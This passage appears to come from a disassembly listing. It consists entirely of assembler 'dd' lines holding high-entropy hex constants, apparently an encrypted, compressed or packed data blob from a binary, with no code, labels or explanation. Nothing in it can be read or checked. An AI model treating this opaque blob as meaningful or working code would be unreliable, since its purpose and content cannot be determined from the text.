		dd 57E55E9Fh, 0D354BFE5h, 8B23C5FAh, 22BA2AE5h,	0FE99EAB5h
		dd 0DC5125D2h, 0A70CE985h, 502EEECFh, 5EF1070Dh, 5BF55AD2h
		dd 9D693BF1h, 5A602547h, 0D713A833h, 7F68478Ch,	0FF7B4873h
		dd 58635410h, 26D5A2Fh,	0E32DF896h, 62ED0741h, 3AD240B5h
		dd 0A8BDF6FCh, 6E1838DDh, 0EB029F58h, 56CC3297h, 59CFA548h
		dd 0CC73BE26h, 0DF0DCB1Ah, 88931982h, 48FA8702h, 0E7127CF9h
		dd 28CDFE60h, 25BE7463h, 2371777Dh, 93B1A393h, 2230DC59h
		dd 0B8C64A09h, 2D58E15Ah
		dd 5051906Fh, 24BA80E9h, 0C8FD3B5h, 0D1D3A2E2h,	597A8873h
		dd 4C603C2Ch, 9ED025B8h, 0C9E9128Eh, 0E617D27Bh, 41585602h
		dd 2A3D04F0h, 1A9E497Eh, 1071E75Eh, 0B85E8F94h,	0D587F06Ch
		dd 254F31E9h, 7AA9F46Fh, 2F68CDC8h, 7BF308E0h, 0CA109A68h
		dd 5422D02h, 97D5ABEh, 0CFC304BBh, 682D6BEh, 0F45F48C9h
		dd 4EC6484h, 8805859Ch,	686F83F1h, 36D919CAh, 70CB2D3Eh
		dd 2C4CEA82h, 0C9760187h, 0E744EC82h, 0D5634754h, 0F85339F6h
		dd 5C58C61Ah, 0E86E09D9h, 0F532486h, 27AF46E1h,	0E9645764h
		dd 167F3B72h, 7A013048h, 79B912CCh, 53A6A02Ah, 580FD5B6h
		dd 5D6C6335h, 0F11CD967h, 20C2F525h, 0FE89F729h, 6E49E0FCh
		dd 45907904h, 463EABBDh, 0E60E7B5h, 633C2F68h, 9D2223C5h
		dd 809FD981h, 0CB9BF7A3h, 9889A437h, 0AFBD0429h, 0AFAE8DECh
		dd 1A912A88h, 0DA0E1621h, 3277C92Bh, 75E60985h,	68BE7A36h
		dd 0C6F22D3Bh, 0B88630FDh, 0E312BB10h, 0E0D3B22Fh, 4EF74B96h
		dd 0D7A0E2DBh, 945EBCA4h, 0D684490Ah, 4CDDEE20h, 0ABE3629Bh
		dd 3C6488D5h, 0BD5E9E88h, 1BE7A330h, 4A6E8A82h,	0A74C6F10h
		dd 0C9E6C912h, 0AC6789h, 13516D69h, 2E117DBBh, 30F03753h
		dd 56F02979h, 489DBE00h, 0CE813DCFh, 92B7CE1h, 79EDE971h
		dd 8F95326Eh, 2365C958h, 81D83468h, 0FAC158C7h,	0B5FE07F0h
		dd 0D4FCCF1Ch, 0AEED2A4Eh, 2FAE1FE1h, 3B0C09E2h, 0D42E772Ah
		dd 14E62217h, 91107512h, 30F95A08h, 9008E985h, 4A2FBD47h
		dd 0BA649900h, 66696B43h, 9D9BA329h, 26FBAB56h,	0B2B73E93h
		dd 2C5147B8h, 1BBE4042h, 1848C442h, 0B4357C70h,	1F045171h
		dd 500617Ah, 3B2407CCh,	3A672D07h, 0E8A02E21h, 9070DA14h
		dd 511566E7h, 0B0F27B5Eh, 0D6BC6F9Ah, 0B0A8BCA7h, 34CB5A49h
		dd 0B280BBE2h, 0B996855h, 5D30A167h, 29138DD9h,	0B41627AAh
		dd 314BBF9Fh, 0D10F291Bh, 39C54F91h, 90DCAB07h,	3DEF0B81h
		dd 0AB827B75h, 5C6B4DAh, 55BE95F0h, 601EBB01h, 0DF4065B7h
		dd 5F5BE5ACh, 0ACA6E1B8h, 0CC2F4606h, 45CA040Dh, 0BE291E13h
		dd 0E5427089h, 62F0F478h, 0F709C466h, 0E585F730h, 0E3819DACh
		dd 93C23E02h, 0BD0D7861h, 0C8312380h, 5AB25393h, 0ED88609Bh
		dd 7CBD01C1h, 2B56704Eh, 80C43917h, 5DC5D009h, 0AFFCA99Ch
		dd 5D164C9Ch, 39FA1390h, 0DA61507Dh, 43B102D1h,	5AD6317Ch
		dd 6D6E695Ch, 0E22B66F5h, 0ACE9C244h, 5539BAE2h, 292DF2Ah
		dd 745A3A2Ch, 0D6EC9277h, 0CAA6EFA4h, 0C17E4799h, 0C0361A17h
		dd 8EBA6E85h, 6898613Fh, 71483B8Bh, 16B688E3h, 9B53E98h
		dd 9D3F15Bh, 0BCF5A688h, 5C098462h, 0A24AA568h,	978F8E5Dh
		dd 5DE90F98h, 0C54F73D9h, 0A04DBC28h, 0EF670B5h, 3DB450D5h
		dd 24C0DCA6h, 0A4098073h, 32CEC4E9h, 12C5E50Fh,	35150452h
		dd 0C420AE83h, 0D64EF187h, 54BC0106h, 44D1504Dh, 7BCCD99Ch
		dd 70107D9Ah, 0F62D1DB2h, 8B1119C9h, 41078F8Eh,	0CD54FA96h
		dd 99EBBFF4h, 5B2CBDDDh, 50420011h, 92E96B2Ch, 0F134016Bh
		dd 84DEA09Ah, 10529FD8h, 12E9E4EDh, 0ED32689Dh,	4988FC08h
		dd 277E99B8h, 71DC6011h, 0C0C5C2h, 5D2253BDh, 9BF63374h
		dd 55068B9Fh, 9FD80CB8h, 157F2C85h, 5689AF98h, 23FABF7h
		dd 0DD28A98Eh, 0E1F604CEh, 841BFE4Dh, 0DA1BA40Bh, 0AAA085FCh
		dd 9881144h, 5B514DEAh,	0ED78CE16h, 1DB15103h, 0FA98C980h
		dd 89D0E9FCh, 0B7017330h, 0ACC1E482h, 0B901F779h, 88613CEh
		dd 209AC543h, 0FA201483h, 42F39F6Fh, 5C555D0Ch,	0C96182DFh
		dd 4A47337Eh, 4FC939C8h, 78FDF25Ah, 45C3C82Dh, 222F2F10h
		dd 4B7DCF60h, 8EF67937h, 5209C5BEh, 7C40FA68h, 0E44C295Ah
		dd 58DA2583h, 0E2B04590h, 919EDAB5h, 8897084Dh,	4F416806h
		dd 0AD254E6Fh, 1DF6076Dh, 0FF7850Ah, 0DD982872h, 0D1BD8C5h
		dd 78F8EC87h, 27264024h, 5D5D50Bh, 17BED7BCh, 2969BA30h
		dd 0CE57F03Ah, 5BCD1403h, 0CF01C183h, 0B0B47630h, 0A1D0B5D2h
		dd 6FCA4755h, 572516B3h, 0C888C801h, 0B0503C59h, 283049B7h
		dd 5FFC5BF8h, 0FEC30E7Fh, 21330972h, 0E509B572h, 0FFD5356Dh
		dd 1CD06600h, 0CC133D4h, 14C270CFh, 6D829D00h, 59953890h
		dd 0E95160D9h, 659D7B60h, 0FF5C45D5h, 20068C67h, 0B76525D3h
		dd 55035EE5h, 0B95D6856h, 802F71ACh, 6D41E20Ah,	8513B190h
		dd 3DEBA901h, 0B7B0E4FFh, 0B199C3EEh, 8602C488h, 0B369ABE9h
		dd 1F3DC204h, 7DECF40Ch, 5883313Ch, 327B3A05h, 5DD0193h
		dd 0FE1D049Bh, 0E9B06B52h, 0E16A4AC7h, 9284FEE1h, 55DD09FFh
		dd 3FE9351Bh, 228822ACh, 0AC344CB3h, 23E8D39Eh,	658A2F59h
		dd 0D559CB02h, 68181B6Ch, 0ABD5FDFh, 0D9B38180h, 0D9D480B1h
		dd 0F6C1FE5Bh, 75ACC5D1h, 0C749FE9Dh, 495BA556h, 2B014CC2h
		dd 412840DEh, 78190805h, 0CF64560Fh, 0FE481BE0h, 166FED15h
		dd 0B037051Eh, 419FAC39h, 0E5323007h, 386DD13Fh, 508F930Fh
		dd 0B0FC2F56h, 0AF6C93C7h, 0C6880E71h, 0E2382B8h, 276BF661h
		dd 0ED421640h, 837B6681h, 0AF852FEFh, 0AEC022C5h, 0F0204789h
		dd 39B6BAE7h, 2C26FD88h, 82F816E7h, 89C051B4h, 0EE091565h
		dd 46F18979h, 0FC83D057h, 273A7404h, 4186ED12h,	1F1CA008h
		dd 0BB54E97Dh, 5D4ACDE0h, 0B5EAF028h, 9724F57Bh, 462E6F10h
		dd 0BFD0319h, 0CEB2710Ch, 0F3C0634Ah, 194F1EF6h, 0C6020DFCh
		dd 31967F97h, 0D9543342h, 0AC04B216h, 60A919E6h, 0A48E6D16h
		dd 0BBC826Fh, 895DEA89h, 7EB5A3Eh, 0A062A5F2h, 0E150B446h
		dd 96A22A46h, 0FA79899Fh, 48A782A0h, 594F6D2Fh,	0E23FE9DDh
		dd 5EE93FF1h, 3DBF1B13h, 0AB026B46h, 0E62D1468h, 0B28097BCh
		dd 37FF10DEh, 0BE1D3882h, 0EF1617FEh, 0AE658643h, 0C827D839h
		dd 0E9F504BEh, 89FE6D78h, 4E42AEEh, 49B55435h, 5451F258h
		dd 48FD8B89h, 8B4F525Fh, 0A1BD4A7Ah, 0A124564Ch, 74FEA5DBh
		dd 2CC044D1h, 5DE9756Eh, 0E64FE20Bh, 47C1020Eh,	0D099DAB6h
		dd 0A66E2733h, 0D3F6D66Eh, 3BDAE84Dh, 0FD1F96F9h, 64E7B9A8h
		dd 0E8F85602h, 0EB9C4D39h, 0E90B3B7Bh, 0EF56AE1Eh, 3916029Eh
		dd 0B9ADE782h, 243E535Eh, 0B422AD4Ah, 58D1AAC3h, 0B8608357h
		dd 72DD7345h, 113DED90h, 2383E49h, 0A687E4F5h, 8C7D5C96h
		dd 6C4F1CDDh, 92147F83h, 0C3C895F5h, 0D42837C0h, 0C250ED67h
		dd 7A9D5B07h, 58E4E7BDh, 200A6343h, 71E069B7h, 0D34BF0E9h
		dd 1A1670A3h, 84BA6565h, 5FC1F077h, 0E2911B9Dh,	2BBD43Ah
		dd 0A6B50BFh, 751833D6h, 1E0B0514h, 88E34CB3h, 0AC1DD0AEh
		dd 4513A089h, 0AD521617h, 1CEBB58Ah, 0BB38E0FEh, 370604A1h
		dd 0C80E3C1h, 627A72EBh, 91B8CC5Fh, 9A9E675h, 426A1FBAh
		dd 0B593EDDCh, 0CF80D245h, 8C8A26C1h, 0C4E0247Eh, 5F16C477h
		dd 0BBC0D5ACh, 45F2292Dh, 9340AFBFh, 28BE0084h,	984158F4h
		dd 4EC968D0h, 0B6262116h, 394E6EFBh, 0E0E666A4h, 3025000Ch
		dd 0C5FE5AF5h, 0E917DDF6h, 61E9B7BEh, 0CC05E4D3h, 0BD94999Dh
		dd 70A07F0h, 0FDDF715h,	89CA8A8Ah, 0E72962E9h, 5B517DD6h
		dd 494BB72Fh, 0A4B49637h, 0B4745A27h, 0F5627CA7h, 4C945957h
		dd 0F7C104E5h, 0BF44A534h, 8BE92982h, 0B89E6508h, 3CA0942h
		dd 0DB2F0202h, 0B09C5F7Fh, 6722A4A0h, 0E9742F0Ah, 0F78BADA7h
		dd 0E6045DD0h, 3E80BB48h, 2250F0Dh, 572D4BAEh, 65C16751h
		dd 0BD243449h, 9804011Fh, 0EEE2989h, 0D749785Bh, 41CF0481h
		dd 0EA337710h, 61782C6h
		dd 0B45669C7h, 5B0D659h, 3E9D604Ah, 2941886Eh, 709CA65Bh
		dd 6866095Ch, 0F6542DCBh, 5A5B142h, 6D1EAE5Dh, 94CE2E42h
		dd 2D315861h, 332092E2h, 7D91211Ch, 0D5BD5505h,	0E440B436h
		dd 0DF3409AFh, 16D025E9h, 295862B9h, 59548519h,	407190C8h
		dd 0F99529CEh, 0EDB03DDAh, 77C6E5D9h, 5F68F52Eh, 0D0503002h
		dd 3574C01Fh, 7D5A137Eh, 0C2740B42h, 0F7503256h, 0E460C8DEh
		dd 0A49A92Ch, 0D1AD41FBh, 0A35F4B4Ah, 678A385Eh, 853A5235h
		dd 0EA90BE4h, 24403264h, 4D91608Eh, 58606FC6h, 0C5EA3798h
		dd 0EB4D1ABEh, 489F9B6Ah, 0E5A50983h, 137CFEA7h, 0C1A4F20Bh
		dd 1089880Fh, 4056E924h, 4A4B68F1h, 89A88685h, 17CAE9E3h
		dd 7C1A6C55h, 0DD0082F8h, 0B7C44CC9h, 8BEE890Ch, 12C714C0h
		dd 0B097514h, 135E1D57h, 4151D949h, 8212A2E9h, 0E4C5F24Dh
		dd 0D685C111h, 827634F4h, 2058C6DDh, 909753CBh,	1D5F2DC3h
		dd 4241B33Ah, 7DE0A98h,	7668877h, 4511D13Ah, 0F488F910h
		dd 31AACD56h, 45515204h, 5EDF97ABh, 99FD0709h, 3538C263h
		dd 13595D17h, 0D13DEF7Ah, 0E580453Dh, 7B0DBF57h, 0E9396304h
		dd 0B1D3CD43h, 0D675BA56h, 358C2CABh, 0D3D4F850h, 7101FE6h
		dd 0E6891709h, 9F364BAh, 96C203A2h, 0FD0E30FDh,	4BC7B972h
		dd 0E8D725FAh, 0B98F2CEFh, 4B19B4BCh, 0AFBE940Eh, 0D552868Ch
		dd 915BB60Ch, 0B8A9D96h, 5A221C68h, 0EE2F0CDFh,	0B4761367h
		dd 9145070Eh, 0C10962Fh, 2D2C0FFCh, 8517B434h, 0AD726D27h
		dd 0DB9A7D6Fh, 0A9284AC0h, 0E38B4E96h, 0C24E7E05h, 9A0AA3C7h
		dd 5871D6A4h, 0E4308EC5h, 1B900BCAh, 3102073Ah,	0C92EBC29h
		dd 30B9F5FCh, 54EADC51h, 3361534Fh, 0E804B46Bh,	2C331C7Dh
		dd 0F68116C1h, 0EA2159A9h, 6108D02Fh, 8609878Ah, 0DC7C95E9h
		dd 80059F80h, 530D16F3h, 9D2D6826h, 608ADE78h, 73966A44h
		dd 0B6AC3184h, 30C2013Ch, 2104E0A2h, 0D5875231h, 257448ECh
		dd 100A80E9h, 25C301B9h, 2F1BC2BBh, 566006A1h, 0E1A2B596h
		dd 15E5FBEBh, 2CE22F1Dh, 63CB2605h, 0A0D4B056h,	6F17C9CAh
		dd 3706393Ah, 6B51609Eh, 5FA0F685h, 17822F08h, 5D2462BDh
		dd 0F75BA690h, 52DBC8EDh, 0B85B8A98h, 5C05EFDFh, 3013FE68h
		dd 0E0E9548Dh, 0F9279D3h, 45687D05h, 0D0B8C801h, 0F85BA962h
		dd 0FD967F5Fh, 0E566B600h, 0E9F8092Ch, 179E96E6h, 14F3F9F6h
		dd 77215194h, 4EA1925Dh, 1F4E8FCh, 1977F2C8h, 0B719302Ah
		dd 92029A41h, 0E05F8917h, 30438D8Eh, 5E340FE5h,	0E9E4171Ah
		dd 0F123852Fh, 0DAD449C0h, 75AA842h, 0D1326555h, 3AB8041Ch
		dd 0B84C23E0h, 25C6B2C4h, 7E627EC6h, 95A544F5h,	871369F3h
		dd 35A0CD52h, 6D5A2E7Dh, 505D1084h, 2A0905E0h, 2896F66h
		dd 0E76C62Ah, 0AC8B09AAh, 4CC91FF3h, 0BD97DE4Ch, 8B33DA07h
		dd 96E931C1h, 92D7181h,	5674633h, 49368E07h, 72C887Dh
		dd 5E11503Eh, 1B1A30E3h, 66296402h, 4A68D9E9h, 4C814C6Bh
		dd 164A9E97h, 0E91A6CC4h, 2533E5Dh, 6851EB86h, 4E46FDF8h
		dd 8F4B0FBAh, 9F981313h, 0FE3314B7h, 4D04B3CFh,	0EEDAD8E9h
		dd 0B9519620h, 0CE1517E4h, 797F0128h, 70693603h, 4081B78Dh
		dd 0B8FB8E43h, 1331DDAEh, 0FF295DE8h, 0B26B822Dh, 0F5A4D356h
		dd 0FE34B2A6h, 0F2D1E4CAh, 0FC14BA0Ch, 0A50603Fh, 2C59C828h
		dd 0B8523630h, 73CF80EBh, 17E770ECh, 0F806EFC0h, 2F84D46Fh
		dd 8821D18Ah, 0E4269BE5h, 8F788202h, 60E74277h,	9F6B472Fh
		dd 965D4A62h, 4AF0B563h, 0DE16CA2Dh, 0F100C06h,	1A67EA0Ah
		dd 55C94A1Ch, 0B16C0605h, 0C4642F6Fh, 0E957D970h, 0B3565B19h
		dd 0E55F8F74h, 0C353A102h, 207D3EF8h, 94BFE2FAh, 91E82D06h
		dd 1EC19E13h, 108232ABh, 2D7B979Ah, 66DEF8F7h, 3B0C52E3h
		dd 0DDAEE079h, 0FFE5ADEDh, 55EA1A3Fh, 4C7D8B3Fh, 930F519h
		dd 0D1AD406Fh, 0F6A6E25Eh, 0F300162Dh, 4B4F4EBDh, 25188B7h
		dd 8702C020h, 294CC7AEh, 6956F4EBh, 9528A5F6h, 54514B03h
		dd 0DE7CE978h, 6D8E2CDFh, 134A6DCh, 3E44105Ah, 0AF8CF443h
		dd 644EA74Ah, 34E3A1EAh, 7C665D53h, 96CF1C5Eh, 8953E1D5h
		dd 74DE0338h, 162342FDh, 17862016h, 0B3535A1Eh,	0D7408F68h
		dd 6C58585Dh, 1592A2Fh,	31F8FD94h, 565CADECh, 0EEAB642Eh
		dd 0D607C65Eh, 2CD1055Ah, 0EED433DEh, 3A191310h, 7241001h
		dd 5F11A275h, 565C044Ch, 0D868B30Ah, 2A3E6572h,	95F71DE9h
		dd 0F77341F8h, 4F894C95h, 68A10080h, 603E14D1h,	33204590h
		dd 4A6997A6h, 0CB82F3B1h, 0E905D3F9h, 8D89FB2Ch, 0BEE9B56Bh
		dd 0C20AAF66h, 34E055BDh, 55821B24h, 0A129BF34h, 5701DC4Fh
		dd 5313E52Dh, 97D709D6h, 5550ADC2h, 0E3FEFBEEh,	0CC15BE0Eh
		dd 53C02468h, 0D905C4E3h, 0E35F3276h, 2F0296DEh, 0D5A3B6E5h
		dd 165FFE89h, 4DF2301Ch, 1D51EDAFh, 0F14CC02h, 879A8480h
		dd 0FAE21C0Ch, 0EE20F502h, 0E5881EF6h, 0BEA1158h, 9088D4Ah
		dd 19041614h, 49EADBE9h, 63F43AEFh, 0C256B45Bh,	7D8558C7h
		dd 0E2FAFC53h, 0AF2675D2h, 91FFB399h, 3C4A92C0h, 53025615h
		dd 46120D68h, 0D981A90Bh, 3D04A54h, 17115203h, 1618F7E0h
		dd 4F13B418h, 223120Eh,	0E94761A7h, 0D84401A9h,	8718CA03h
		dd 0E9EBD167h, 392F667Dh, 0E1612A1Eh, 5A02C1CBh, 0C59FC5B8h
		dd 12D5B982h, 4F202A75h, 2EBD81A6h, 125642F4h, 0E8712268h
		dd 208CC1DBh, 5F293D04h, 0DF09C338h, 3042FE17h,	0B1951770h
		dd 93B48F6h, 5A0043F9h,	0F742A18h, 6B0BFA9Fh, 0B0E283A2h
		dd 0A0F2B433h, 0D29F7A58h, 2EA5A089h, 55F827Dh,	748093CFh
		dd 16D7F695h, 940F780h,	0B770873h, 4B014687h, 0FAF9C485h
		dd 0B17E182Dh, 3417CC66h, 8F3E0FB8h, 59740246h,	0F59F10E9h
		dd 5A76F718h, 0BDC36991h, 0C1088703h, 32D763E9h, 8A0F05FAh
		dd 0B6E2F44Ah, 0AA896D85h, 6ED7C27h, 0F540977Eh, 0BA3FB0B6h
		dd 732DD070h, 1343FE04h, 5561BA4Bh, 7D096598h, 6121D29Eh
		dd 0A06990D2h, 1272C603h, 0C07373Bh, 3E039F8h, 2CCDE6C0h
		dd 206E981Bh, 6098D33Ah, 38F0712Ah, 0EA09A4B5h,	9ACF6D5h
		dd 4C946C4Dh, 0B25C1106h, 20005648h, 0F4C6115h,	0C05F8482h
		dd 1172EEADh, 18C95A3Ch, 987D78D9h, 0F40B5EBh, 6082A25Bh
		dd 0B5556D37h, 3E2FB4CCh, 0AC957147h, 75C425E1h, 6920A990h
		dd 0DB5A01Eh, 65022567h, 0E8F49B75h, 23B0BCBh, 830F040Ah
		dd 8A488836h, 0FD82D120h, 0FE25CA65h, 4BA84F23h, 0E80B6126h
		dd 48A94E9Fh, 3E38FF51h, 3166D28Bh, 5B48E6FAh, 590C40F2h
		dd 288F60B5h, 0EA3F9CD7h, 78EA0229h, 4A7552F0h,	0D4080982h
		dd 3D7C8865h, 7C6C2DBFh, 1858C1D3h, 55AF8804h, 0ED622790h
		dd 6D4FC50h, 0B2F109E6h, 20A1649Ah, 22B4B0D1h, 9EBD5500h
		dd 0C702A04Bh, 0C541BB82h, 0BBC0AA3Eh, 77BD3B2Bh, 0BA52010Dh
		dd 3FB06909h, 82A46121h, 9FDA8E2Eh, 2EC1DDE7h, 0DBE06F89h
		dd 5E8C40AAh, 7F6B519Eh, 2572158Bh, 2D7461B7h, 5E8493Bh
		dd 5102F2DAh, 4C208AB9h, 28A07574h, 4102E1C1h, 8541CEDDh
		dd 0CEE9EA14h, 0A23EB025h, 0FAD77Eh, 0E922F25Dh, 2F9E504Eh
		dd 0ADF04093h, 246209BEh, 200266Fh, 21550141h, 0ABFDE917h
		dd 5A4E22BFh, 80B7E655h, 4A467F96h, 0DA70C048h,	8300161h
		dd 39860E4Dh, 0EC3150D9h, 25EA13BAh, 0C798E0DEh, 0E6CC6841h
		dd 6EE8A83Fh, 4510B5C3h, 0CC985D54h, 0FA88EC91h, 20D128CCh
		dd 554FF6BAh, 0E51E5461h
		dd 1C9BE79h, 4A200A10h,	68A01897h, 0E8715AC8h, 420CCB77h
		dd 4F14F933h, 0FAD27ACBh, 7658C225h, 147883A4h,	0EFCC0357h
		dd 9F823634h, 8FA9297Fh, 0C269367Dh, 0DEE95C0Dh, 44B0D6F8h
		dd 5F2C2B90h, 5427637Ch, 0BE9053Dh, 681498B4h, 0F34C6427h
		dd 0F95516A8h, 0DF56CBE7h, 0FDF88396h, 0EFD0D99Fh, 0BF90AFEBh
		dd 3F12E2F7h, 0F00107B4h, 50C3402Ah, 811C843Eh,	0C511EDC1h
		dd 6212B427h, 91C081Ah,	142B117h, 625368E4h, 66D48929h
		dd 9460B805h, 4AC335BDh, 9B10AF32h, 20A44C08h, 4E38EA8Ah
		dd 0FC1F9049h, 5D5E4011h, 89DE4CEDh, 6FA006E9h,	136268ADh
		dd 0E8899ABDh, 4F02D70h, 0E97C370Bh, 99FEC41h, 7C936859h
		dd 40D94956h, 59B25261h, 0C92CA12Ah, 0B65AD8E8h, 0C6283702h
		dd 559A16E9h, 0B5FC2A1Ch, 0BA01419Ch, 522110A1h, 0F76CC13Ah
		dd 50A89DAh, 0E902014Ah, 0A3F3FADDh, 0CBEABDFFh, 857D264Dh
		dd 614D54AFh, 41F103E9h, 0E53F7517h, 33F02ED7h,	91EF5D4Fh
		dd 350CEF4Ah, 16A55h, 0BD0D410Bh, 0FE54A83Ah, 823088F3h
		dd 8B521DD6h, 0AA66A36Bh, 742D7DB2h, 68DA91C1h,	9E2665EDh
		dd 65DD9210h, 0E3A35E80h, 84049A48h, 0C1129516h, 0D99B6014h
		dd 3B687EBh, 137CA0Eh, 8828869h, 9801C30h, 9D4D7EB0h, 8800850h
		dd 0E9175D59h, 0C9E38C29h, 2CC6110h, 2879C780h,	8C59E3F9h
		dd 510EB800h, 799F4B7Bh, 0F95F133Dh, 6BE39616h,	32EE6809h
		dd 0A8B75E22h, 41A9450Fh, 0A66B7921h, 0D3DE5902h, 3226BB82h
		dd 14BAD758h, 27080C08h, 12D87EF2h, 25686784h, 14C010D3h
		dd 0B3267415h, 22B46B39h, 28220A5Ah, 0F2279918h, 8BEA9DAAh
		dd 7056DB31h, 22BF791Ah, 66E396F1h, 4B29B0C0h, 4A96B688h
		dd 300D2DBFh, 0B88076C5h, 0E84E4AF7h, 8D7E2AAAh, 1D54BA07h
		dd 1A24FEBh, 0F84CD706h, 809C04Fh, 0C2D47C5Eh, 72E1F1F7h
		dd 0C4822C56h, 0BB078542h, 8BFE67A2h, 3C40B16Ah, 162BD61h
		dd 0FF5BDA04h, 0EA3C5B4Ch, 6E6A9840h, 0F5D3D0Ch, 0FA2923CEh
		dd 3408C2CAh, 8814100Ch, 685ECC20h, 8B136FA9h, 0E23D9634h
		dd 9BF2155Fh, 0FBF5F302h, 0C4FF6BE2h, 0C2093B90h, 96E071A7h
		dd 0B305D1B9h, 0CB29E488h, 0F85AEEA3h, 0E8855123h, 390BA33Eh
		dd 0EE4814E9h, 49D2A069h, 19C9243Bh, 418C057Ah,	0EEC7039Eh
		dd 35AA1E1Ah, 980CC4F2h, 28266055h, 2D0C24A4h, 52F60139h
		dd 0F1D48958h, 2FBC2BE9h, 77C42675h, 531596AAh,	329EB81h
		dd 57EE07Bh, 0C0275472h, 20067E14h, 5842BC07h, 3E4E30B6h
		dd 80807DE0h, 0E313C181h, 44BA68F0h, 8C703346h,	0D003BD3Bh
		dd 0B9219715h, 310B16F0h, 845717E9h, 3D01FB82h,	6788135Fh
		dd 697A48DAh, 0BED2511h, 1207F708h, 0B625AE58h,	41832FF4h
		dd 411B44FBh, 2805C3DDh, 0DE773067h, 80A6E92Dh,	469BBA99h
		dd 0C41D4A77h, 10C5A978h, 0F24BD0B4h, 0C2567C57h, 9FB84FD4h
		dd 243EB441h, 227BFECh,	0E8B899D5h, 5CB8B74Eh, 625412EDh
		dd 67053CF3h, 84DBF680h, 2AC78332h, 0EA1E3FB6h,	1C1D3585h
		dd 244EF28Eh, 81AE6048h, 7BBE0AEEh, 20688698h, 0FBFE426Ah
		dd 1EFD164Eh, 65FABD93h, 1AB5F33Ah, 0C44F945h, 8792F721h
		dd 9A4561Bh, 3AE2C38Bh,	4F2ACC77h, 0C203E3DFh, 7ED14DE9h
		dd 4051E681h, 0F8720701h, 5810E90Bh, 0CEFE22Ah,	858EEF84h
		dd 43CD4077h, 49F418C4h, 81EBD107h, 44504189h, 9689BB2Eh
		dd 8002ECF9h, 356670E1h, 95C73A34h, 23656871h, 451A8E6Eh
		dd 616E16h, 69ACB31h, 9ED70DD9h, 0E8E9134Eh, 0BD584344h
		dd 0A597BF7Fh, 20E7F1E3h, 1C0081CFh, 0C8096773h, 1260D59h
		dd 353ECC39h, 7AFF3FABh, 4CBB29C0h, 0D1431309h,	216F4E5h
		dd 3E03F897h, 0F9CA6737h, 0B67F13C9h, 0D829C509h, 0E1752D3Ch
		dd 0F2208966h, 85D8BD9Dh, 307A96B5h, 805EC0E8h,	9FFEC1C5h
		dd 5166E8E1h, 0BDF0B176h, 0E9C82809h, 80E5A3E5h, 0AB83EDEFh
		dd 950C2E4Dh, 5B69109Fh, 0BFC3EF8Ch, 2FDF3FAAh,	0E07F4BCAh
		dd 0B2A5E90Dh, 5CFEEB3Dh, 0CAC22F3Ah, 0F03931DDh, 7F117801h
		dd 57275DB7h, 58D4C70Bh, 643BE9E2h, 7914276Ch, 6F603812h
		dd 8080AD7Ah, 6A863C3h,	87B7288Dh, 0B45053EBh, 1887EEDDh
		dd 9BD78C6Bh, 0A892ED87h, 14F6F46Ah, 218B1700h,	5E8C140h
		dd 67800935h, 2845A9Ah,	9F1012CBh, 34977FBAh, 0E95C09C9h
		dd 0FC73C0A2h, 82BA5200h, 24F3073h, 6817E281h, 0FF40692Ah
		dd 64053799h, 0A0EEE918h, 2C5C0FB4h, 55AB456h, 23903A86h
		dd 0B276280h, 759F89BEh, 5545C745h, 0F32D07A4h,	50228C6Ah
		dd 3E426812h, 347331BEh, 0F33307B9h, 0D549D238h, 0A5127F18h
		dd 0E9101383h, 0FA335395h, 0B9ACEE24h, 3AC1573Fh, 11EA99Bh
		dd 8B4E3CF2h, 1AC961Ah,	88F109A4h, 0E9A26A0Eh, 6E5FCECFh
		dd 0FC544AD4h, 773404E1h, 61807094h, 5E6B88D0h,	0F938C48Fh
		dd 687B895Ch, 2834F597h, 279A1C59h, 0FB2A5211h,	0F05088C1h
		dd 0BB042C16h, 0B0157E47h, 3BAE9824h, 0A25A5919h, 46F630D6h
		dd 0AB328981h, 3E16497Ah, 0C7F4654Ah, 6F67F21Eh, 7AEAD468h
		dd 3F655BBDh, 0E2AC4393h, 5C7178B1h, 0F79210C3h, 709EC2D2h
		dd 1A6E9FF6h, 0B0D07320h, 45424F7Bh, 0A4854C1Dh, 0ED40819Ah
		dd 0B6C35961h, 0D65B0342h, 564B07E9h, 5960E3DDh, 36571394h
		dd 4173A938h, 0C98E7F08h, 0E094AD24h, 2C08C781h, 4237032Ch
		dd 8808528h, 0BB2DE95Bh, 6850A148h, 302E43B7h, 60164A54h
		dd 2F5F524Ch, 200EC6D5h, 249DD2F5h, 7FB71FAh, 0F3CF89A2h
		dd 8907D793h, 45C856A6h, 7DB4FDA5h, 667712CFh, 0F7D70018h
		dd 7DD52678h, 0C6FA8928h, 28CCDF20h, 0A86515Dh,	958071Fh
		dd 85616C5h, 6417D3B9h,	0F83356FAh, 0E955E05Eh,	2F6D9E8Fh
		dd 95BDF8D9h, 30B6C31h,	0FC33B2BBh, 2D6E94Eh, 8456E23Fh
		dd 531D6B75h, 0EA44FE70h, 98E349A0h, 829DF0Fh, 0BA3AE945h
		dd 73BECF16h, 775E5310h, 0A381D074h, 0C96A911Bh, 1470C809h
		dd 0C13DA506h, 21205E2h, 4A0F473Ch, 0BB59D101h,	710BD9A4h
		dd 55A9B2FDh, 3325B7F2h, 0B50CC441h, 146BEEF1h,	70789AB6h
		dd 74E848C3h, 0BB905CC4h, 0A5081ECDh, 12ED4CA5h, 4D9068C2h
		dd 5D7A34FCh, 65E011CEh, 0A12B5D81h, 27CD7A7Bh,	6E92906Bh
		dd 6CE1B94Fh, 5D074096h, 7F055548h, 66D0E197h, 0C295B63Fh
		dd 566F1EE9h, 18E686ECh, 0F61F0A78h, 0EDD6F115h, 355C614Dh
		dd 0A2E7DAE7h, 84CFCF8h, 0DDD25D8h, 4B7E0C66h, 8A545ACAh
		dd 289A994Ah, 0D5934281h, 625543CAh, 0A5115FB1h, 0E2D5EAB0h
		dd 24865700h, 0E7EB0EA7h, 7AFF10AEh, 74D87DCBh,	36CED6B1h
		dd 46CB0D93h, 52DCA5D6h, 17DD8ABBh, 0DAADD102h,	0F39B6239h
		dd 3E0A0622h, 0FE045BD8h, 20BAD83Ah, 14585FB3h,	0E24E1ECDh
		dd 924FA77Ah, 0E9AE8CBFh, 203FF02Dh, 33681D48h,	0AABB1C4Fh
		dd 31094B0Eh, 0B6C39940h, 403E5514h, 0BC6905F6h, 2B95867Bh
		dd 10AC8BAEh, 0CA4A80ABh, 0A841106Dh, 6EF7E9A1h, 3034A21Ch
		dd 0B050B900h, 0A1102C26h, 0AA057E8Ch, 46234A12h, 0AB12ACF6h
		dd 0BDD57781h, 0E8B61097h, 9E32560h, 0C70F6B6h,	0C779F644h
